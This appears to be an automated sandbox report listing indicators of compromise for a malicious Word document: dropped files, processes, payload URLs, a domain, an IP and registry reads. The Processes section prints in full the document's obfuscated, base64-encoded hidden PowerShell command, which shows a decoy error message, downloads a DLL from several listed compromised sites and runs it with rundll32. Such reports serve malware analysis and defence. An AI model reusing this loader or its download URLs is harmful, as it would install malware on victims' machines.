IOCReport

loading gif

Files

File Path
Type
Category
Malicious
Order.802796810.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: bandwidth-monitored strategize Investment Account Well Small full-range Product, Author: Julie Marty, Template: Normal.dotm, Last Saved By: Lo Guyot, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jan 13 12:11:00 2021, Last Saved Time/Date: Wed Jan 13 12:12:00 2021, Number of Pages: 1, Number of Words: 3127, Number of Characters: 17826, Security: 8
initial sample
 malicious
C:\Users\user\Lx8o0sz\Gztazkl\I11F.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1A67161-551E-40AF-9919-E039C2A6E74E}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Order.802796810.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020, atime=Thu Jan 14 09:32:34 2021, length=90624, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RJL0BX05F30CVKZ4577U.temp
data
dropped
 clean
C:\Users\user\Desktop\~$der.802796810.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBlAFQALQBpAHQARQBtACAAdgBhAFIASQBhAEIAbABFADoAdwAyAEgAQwAgACgAWwB0AHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBzAHkAUwB0ACcALAAnAHIARQBDAHQAbwBSAHkAJwAsACcAZQBNAC4AaQBvAC4AJwAsACcARABpACcAKQAgACkAIAAgADsAIAAgACAAcwBFAHQALQBpAHQAZQBtACAAKAAiAFYAQQByAGkAYQAiACsAIgBiAGwAZQA6ACIAKwAiAHMAIgArACIAOQBuADYAIgApACAAKAAgAFsAdAB5AHAAZQBdACgAIgB7ADQAfQB7ADAAfQB7ADcAfQB7ADUAfQB7ADgAfQB7ADMAfQB7ADYAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACcAcwBUAEUAbQAuAG4AJwAsACcARQBSACcALAAnAG4AYQBnACcALAAnAGkAYwAnACwAJwBTAHkAJwAsACcALgAnACwAJwBFAFAAbwBpAE4AdABtAGEAJwAsACcARQBUACcALAAnAFMAZQByAHYAJwApACAAIAApADsAIAAkAFIAegBlADgAbQBzADEAPQAkAEwAXwA3AEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFoANAAwAEoAOwAkAFUANQAxAEIAPQAoACgAJwBJACcAKwAnADgANgAnACkAKwAnAFkAJwApADsAIAAkAHcAMgBoAEMAOgA6ACIAYwByAEUAYQB0AGAAZQBEAGkAYABSAGUAYwB0AE8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBGAHAAJwArACgAJwBmAEwAJwArACcAeAA4ACcAKQArACgAJwBvACcAKwAnADAAcwAnACsAJwB6AEYAcAAnACkAKwAoACcAZgBHAHoAdABhACcAKwAnAHoAawAnACkAKwAoACcAbABGACcAKwAnAHAAJwApACsAJwBmACcAKQAtAHIARQBwAGwAYQBDAEUAIAAoACcARgAnACsAJwBwAGYAJwApACwAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQAUQA4ADEAQgA9ACgAJwBYACcAKwAoACcANAAnACsAJwBfAFYAJwApACkAOwAgACQAUwA5AE4ANgA6ADoAIgBzAEUAYwB1AHIAYABpAGAAVABZAHAAUgBvAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABQADUANQBMAD0AKAAoACcASQAnACsAJwBfADYAJwApACsAJwBGACcAKQA7ACQATwBsAHYAdgB3AG4ANgAgAD0AIAAoACgAJwBJACcAKwAnADEAMQAnACkAKwAnAEYAJwApADsAJABJADgAMgBPAD0AKAAnAEkAJwArACgAJwAzADQAJwArACcAUgAnACkAKQA7ACQAVQBvADcAbwBsAHUAZQA9ACQASABPAE0ARQArACgAKAAoACcAYwBIACcAKwAnAHEAJwApACsAKAAnAEwAeAA4ACcAKwAnAG8AJwArACcAMABzACcAKQArACgAJwB6AGMASAAnACsAJwBxACcAKQArACgAJwBHAHoAdAAnACsAJwBhAHoAJwApACsAKAAnAGsAJwArACcAbABjAEgAcQAnACkAKQAgACAALQBSAGUAcABsAEEAQwBFACAAKABbAEMASABhAFIAXQA5ADkAKwBbAEMASABhAFIAXQA3ADIAKwBbAEMASABhAFIAXQAxADEAMwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAE8AbAB2AHYAdwBuADYAKwAoACcALgBkACcAKwAnAGwAbAAnACkAOwAkAFMAXwA2AFAAPQAoACcAUgAnACsAKAAnADUAMQAnACsAJwBOACcAKQApADsAJABHAHQAMABlAHMAMQB1AD0AKAAoACcAQQBdACcAKwAnAFsAJwArACcAcQBbAEQAJwApACsAJwA6AC8AJwArACgAJwAvAG0AJwArACcAYQBpACcAKQArACgAJwBsAC4AJwArACcAawAnACkAKwAnAHkAbwAnACsAJwBqACcAKwAnAGkAbgAnACsAKAAnAGMAJwArACcAbwBuAGQAJwApACsAJwB1AGkAJwArACcAdAAnACsAJwBzAC4AJwArACgAJwBjAG8AbQAvAGoAJwArACcAaABnAHUAJwArACcAbgAnACkAKwAoACcANwA1ACcAKwAnADMAJwApACsAKAAnAC4AegBpAHAAQABBAF0AWwAnACsAJwBxAFsARAAnACsAJwA6AC8ALwAnACkAKwAnAGEAJwArACgAJwBjAGMAdQByACcAKwAnAGEAdAAnACsAJwBlAGIAYwAnACkAKwAoACcALgBnAHIAJwArACcALwBlADAAbAB3ACcAKwAnADMAdAAuAHoAJwArACcAaQAnACkAKwAoACcAcABAACcAKwAnAEEAXQAnACkAKwAnAFsAcQAnACsAKAAnAFsARAAnACsAJwA6ACcAKQArACgAJwAvAC8AdAB1ACcAKwAnAG0AawAnACkAKwAoACcAdQB2AC4AbwAnACsAJwByACcAKQArACgAJwBnAC4AdAByAC8AJwArACcAegAnACsAJwBkADgAJwApACsAJwBkAHgAJwArACgAJwBiADIAdQAnACsAJwAuAHoAaQAnACsAJwBwACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAnAEQAOgAnACsAJwAvAC8AJwArACcAdAAnACsAJwBoAGUAJwArACgAJwB3ACcAKwAnAG8AcgBsAGQAbwBmAGoAYQBjACcAKwAnAG8AJwArACcAYgAuACcAKQArACcAYwAnACsAJwBvAG0AJwArACgAJwAvAGMAagBzACcAKwAnAG8AJwApACsAKAAnAG0AbABvACcAKwAnAC4AegBpAHAAQAAnACkAKwAoACcAQQAnACsAJwBdAFsAcQAnACkAKwAnAFsAJwArACgAJwBEADoALwAnACsAJwAvACcAKQArACcAZQAtACcAKwAoACcAbQBhAGMAbwAnACsAJwBtACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC4AJwApACsAKAAnAGIAJwArACcAcgAvAGMAbAAzACcAKQArACcANQAnACsAKAAnAGUAMAAuAHoAaQBwACcAKwAnAEAAQQAnACsAJwBdAFsAJwApACsAJwBxAFsAJwArACgAJwBEACcAKwAnADoALwAnACkAKwAnAC8AbAAnACsAKAAnAGUAZwAnACsAJwBpACcAKwAnAG8AbgAuAHMAJwArACcAZQByACcAKwAnAGkAZQBzAG4AJwApACsAJwBvAHcAJwArACgAJwAuAHcAZQAnACsAJwBiACcAKQArACgAJwBzAGkAdAAnACsAJwBlACcAKQArACcALwBxACcAKwAoACcAMwAnACsAJwAzAHIAdgAnACkAKwAnADIAJwArACgAJwAuAHoAaQAnACsAJwBwACcAKQApAC4AIgByAGUAYABwAGwAYABBAEMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAJwArACcAZQB3AGYAJwApACkALAAoACcAdwAnACsAKAAnAGUAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAGkAdAAiACgAJABLADEANwBQACAAKwAgACQAUgB6AGUAOABtAHMAMQAgACsAIAAkAEoAMgA0AEwAKQA7ACQAUAA4ADkASgA9ACgAJwBHADIAJwArACcANQBQACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARwBoAGIAcgBjAGYAXwAgAGkAbgAgACQARwB0ADAAZQBzADEAdQApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAdABlAG0ALgBuAEUAdAAuAHcARQBiAEMAbABpAEUATgBUACkALgAiAEQATwB3AGAATgBMAE8AQQBEAGYAaQBgAEwAZQAiACgAJABHAGgAYgByAGMAZgBfACwAIAAkAFUAbwA3AG8AbAB1AGUAKQA7ACQASwAxADgASwA9ACgAJwBKACcAKwAoACcANQBfACcAKwAnAFoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVQBvADcAbwBsAHUAZQApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADQANgAwADkANQApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABVAG8ANwBvAGwAdQBlACwAKAAoACcAUgAnACsAJwB1AG4ARAAnACkAKwAnAGwAbAAnACkALgAiAFQAYABPAHMAVAByAGkAYABOAGcAIgAoACkAOwAkAFoANgAyAEgAPQAoACgAJwBCACcAKwAnADcAOAAnACkAKwAnAFcAJwApADsAYgByAGUAYQBrADsAJABYADAANABMAD0AKAAoACcARQAnACsAJwAyADQAJwApACsAJwBBACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA1ADEAUwA9ACgAJwBJACcAKwAoACcAMwAnACsAJwA5AE0AJwApACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBlAFQALQBpAHQARQBtACAAdgBhAFIASQBhAEIAbABFADoAdwAyAEgAQwAgACgAWwB0AHkAUABFAF0AKAAiAHsAMAB9AHsAMgB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBzAHkAUwB0ACcALAAnAHIARQBDAHQAbwBSAHkAJwAsACcAZQBNAC4AaQBvAC4AJwAsACcARABpACcAKQAgACkAIAAgADsAIAAgACAAcwBFAHQALQBpAHQAZQBtACAAKAAiAFYAQQByAGkAYQAiACsAIgBiAGwAZQA6ACIAKwAiAHMAIgArACIAOQBuADYAIgApACAAKAAgAFsAdAB5AHAAZQBdACgAIgB7ADQAfQB7ADAAfQB7ADcAfQB7ADUAfQB7ADgAfQB7ADMAfQB7ADYAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACcAcwBUAEUAbQAuAG4AJwAsACcARQBSACcALAAnAG4AYQBnACcALAAnAGkAYwAnACwAJwBTAHkAJwAsACcALgAnACwAJwBFAFAAbwBpAE4AdABtAGEAJwAsACcARQBUACcALAAnAFMAZQByAHYAJwApACAAIAApADsAIAAkAFIAegBlADgAbQBzADEAPQAkAEwAXwA3AEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFoANAAwAEoAOwAkAFUANQAxAEIAPQAoACgAJwBJACcAKwAnADgANgAnACkAKwAnAFkAJwApADsAIAAkAHcAMgBoAEMAOgA6ACIAYwByAEUAYQB0AGAAZQBEAGkAYABSAGUAYwB0AE8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBGAHAAJwArACgAJwBmAEwAJwArACcAeAA4ACcAKQArACgAJwBvACcAKwAnADAAcwAnACsAJwB6AEYAcAAnACkAKwAoACcAZgBHAHoAdABhACcAKwAnAHoAawAnACkAKwAoACcAbABGACcAKwAnAHAAJwApACsAJwBmACcAKQAtAHIARQBwAGwAYQBDAEUAIAAoACcARgAnACsAJwBwAGYAJwApACwAWwBDAGgAQQByAF0AOQAyACkAKQA7ACQAUQA4ADEAQgA9ACgAJwBYACcAKwAoACcANAAnACsAJwBfAFYAJwApACkAOwAgACQAUwA5AE4ANgA6ADoAIgBzAEUAYwB1AHIAYABpAGAAVABZAHAAUgBvAGAAVABPAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABQADUANQBMAD0AKAAoACcASQAnACsAJwBfADYAJwApACsAJwBGACcAKQA7ACQATwBsAHYAdgB3AG4ANgAgAD0AIAAoACgAJwBJACcAKwAnADEAMQAnACkAKwAnAEYAJwApADsAJABJADgAMgBPAD0AKAAnAEkAJwArACgAJwAzADQAJwArACcAUgAnACkAKQA7ACQAVQBvADcAbwBsAHUAZQA9ACQASABPAE0ARQArACgAKAAoACcAYwBIACcAKwAnAHEAJwApACsAKAAnAEwAeAA4ACcAKwAnAG8AJwArACcAMABzACcAKQArACgAJwB6AGMASAAnACsAJwBxACcAKQArACgAJwBHAHoAdAAnACsAJwBhAHoAJwApACsAKAAnAGsAJwArACcAbABjAEgAcQAnACkAKQAgACAALQBSAGUAcABsAEEAQwBFACAAKABbAEMASABhAFIAXQA5ADkAKwBbAEMASABhAFIAXQA3ADIAKwBbAEMASABhAFIAXQAxADEAMwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAE8AbAB2AHYAdwBuADYAKwAoACcALgBkACcAKwAnAGwAbAAnACkAOwAkAFMAXwA2AFAAPQAoACcAUgAnACsAKAAnADUAMQAnACsAJwBOACcAKQApADsAJABHAHQAMABlAHMAMQB1AD0AKAAoACcAQQBdACcAKwAnAFsAJwArACcAcQBbAEQAJwApACsAJwA6AC8AJwArACgAJwAvAG0AJwArACcAYQBpACcAKQArACgAJwBsAC4AJwArACcAawAnACkAKwAnAHkAbwAnACsAJwBqACcAKwAnAGkAbgAnACsAKAAnAGMAJwArACcAbwBuAGQAJwApACsAJwB1AGkAJwArACcAdAAnACsAJwBzAC4AJwArACgAJwBjAG8AbQAvAGoAJwArACcAaABnAHUAJwArACcAbgAnACkAKwAoACcANwA1ACcAKwAnADMAJwApACsAKAAnAC4AegBpAHAAQABBAF0AWwAnACsAJwBxAFsARAAnACsAJwA6AC8ALwAnACkAKwAnAGEAJwArACgAJwBjAGMAdQByACcAKwAnAGEAdAAnACsAJwBlAGIAYwAnACkAKwAoACcALgBnAHIAJwArACcALwBlADAAbAB3ACcAKwAnADMAdAAuAHoAJwArACcAaQAnACkAKwAoACcAcABAACcAKwAnAEEAXQAnACkAKwAnAFsAcQAnACsAKAAnAFsARAAnACsAJwA6ACcAKQArACgAJwAvAC8AdAB1ACcAKwAnAG0AawAnACkAKwAoACcAdQB2AC4AbwAnACsAJwByACcAKQArACgAJwBnAC4AdAByAC8AJwArACcAegAnACsAJwBkADgAJwApACsAJwBkAHgAJwArACgAJwBiADIAdQAnACsAJwAuAHoAaQAnACsAJwBwACcAKQArACcAQAAnACsAKAAnAEEAJwArACcAXQBbACcAKQArACcAcQBbACcAKwAnAEQAOgAnACsAJwAvAC8AJwArACcAdAAnACsAJwBoAGUAJwArACgAJwB3ACcAKwAnAG8AcgBsAGQAbwBmAGoAYQBjACcAKwAnAG8AJwArACcAYgAuACcAKQArACcAYwAnACsAJwBvAG0AJwArACgAJwAvAGMAagBzACcAKwAnAG8AJwApACsAKAAnAG0AbABvACcAKwAnAC4AegBpAHAAQAAnACkAKwAoACcAQQAnACsAJwBdAFsAcQAnACkAKwAnAFsAJwArACgAJwBEADoALwAnACsAJwAvACcAKQArACcAZQAtACcAKwAoACcAbQBhAGMAbwAnACsAJwBtACcAKQArACcALgAnACsAKAAnAGMAJwArACcAbwBtAC4AJwApACsAKAAnAGIAJwArACcAcgAvAGMAbAAzACcAKQArACcANQAnACsAKAAnAGUAMAAuAHoAaQBwACcAKwAnAEAAQQAnACsAJwBdAFsAJwApACsAJwBxAFsAJwArACgAJwBEACcAKwAnADoALwAnACkAKwAnAC8AbAAnACsAKAAnAGUAZwAnACsAJwBpACcAKwAnAG8AbgAuAHMAJwArACcAZQByACcAKwAnAGkAZQBzAG4AJwApACsAJwBvAHcAJwArACgAJwAuAHcAZQAnACsAJwBiACcAKQArACgAJwBzAGkAdAAnACsAJwBlACcAKQArACcALwBxACcAKwAoACcAMwAnACsAJwAzAHIAdgAnACkAKwAnADIAJwArACgAJwAuAHoAaQAnACsAJwBwACcAKQApAC4AIgByAGUAYABwAGwAYABBAEMARQAiACgAKAAoACcAQQBdACcAKwAnAFsAJwApACsAJwBxACcAKwAnAFsARAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAJwArACcAZQB3AGYAJwApACkALAAoACcAdwAnACsAKAAnAGUAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAGkAdAAiACgAJABLADEANwBQACAAKwAgACQAUgB6AGUAOABtAHMAMQAgACsAIAAkAEoAMgA0AEwAKQA7ACQAUAA4ADkASgA9ACgAJwBHADIAJwArACcANQBQACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARwBoAGIAcgBjAGYAXwAgAGkAbgAgACQARwB0ADAAZQBzADEAdQApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAdABlAG0ALgBuAEUAdAAuAHcARQBiAEMAbABpAEUATgBUACkALgAiAEQATwB3AGAATgBMAE8AQQBEAGYAaQBgAEwAZQAiACgAJABHAGgAYgByAGMAZgBfACwAIAAkAFUAbwA3AG8AbAB1AGUAKQA7ACQASwAxADgASwA9ACgAJwBKACcAKwAoACcANQBfACcAKwAnAFoAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAVQBvADcAbwBsAHUAZQApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADQANgAwADkANQApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABVAG8ANwBvAGwAdQBlACwAKAAoACcAUgAnACsAJwB1AG4ARAAnACkAKwAnAGwAbAAnACkALgAiAFQAYABPAHMAVAByAGkAYABOAGcAIgAoACkAOwAkAFoANgAyAEgAPQAoACgAJwBCACcAKwAnADcAOAAnACkAKwAnAFcAJwApADsAYgByAGUAYQBrADsAJABYADAANABMAD0AKAAoACcARQAnACsAJwAyADQAJwApACsAJwBBACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA1ADEAUwA9ACgAJwBJACcAKwAoACcAMwAnACsAJwA5AE0AJwApACkA
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Lx8o0sz\Gztazkl\I11F.dll RunDll
 clean
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Lx8o0sz\Gztazkl\I11F.dll RunDll
 clean

URLs

Name
IP
Malicious
http://tumkuv.org.tr/zd8dxb2u.zip
unknown
 malicious
http://mail.kyojinconduits.com
unknown
 malicious
http://accuratebc.gr/e0lw3t.zip
unknown
 malicious
http://theworldofjacob.com/cjsomlo.zip
unknown
 malicious
http://legion.seriesnow.website/q33rv2.zip
unknown
 malicious
http://e-macom.com.br/cl35e0.zip
unknown
 malicious
http://mail.kyojinconduits.com/jhgun753.zip
198.54.126.36
 malicious
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
There are 9 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
mail.kyojinconduits.com
198.54.126.36
 malicious

IPs

IP
Domain
Country
Active
Malicious
198.54.126.36
unknown
United States
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
~ 4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
h 4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
p!4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC65B
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Agency FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aharoni
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Algerian
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Andalus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Angsana New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
AngsanaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
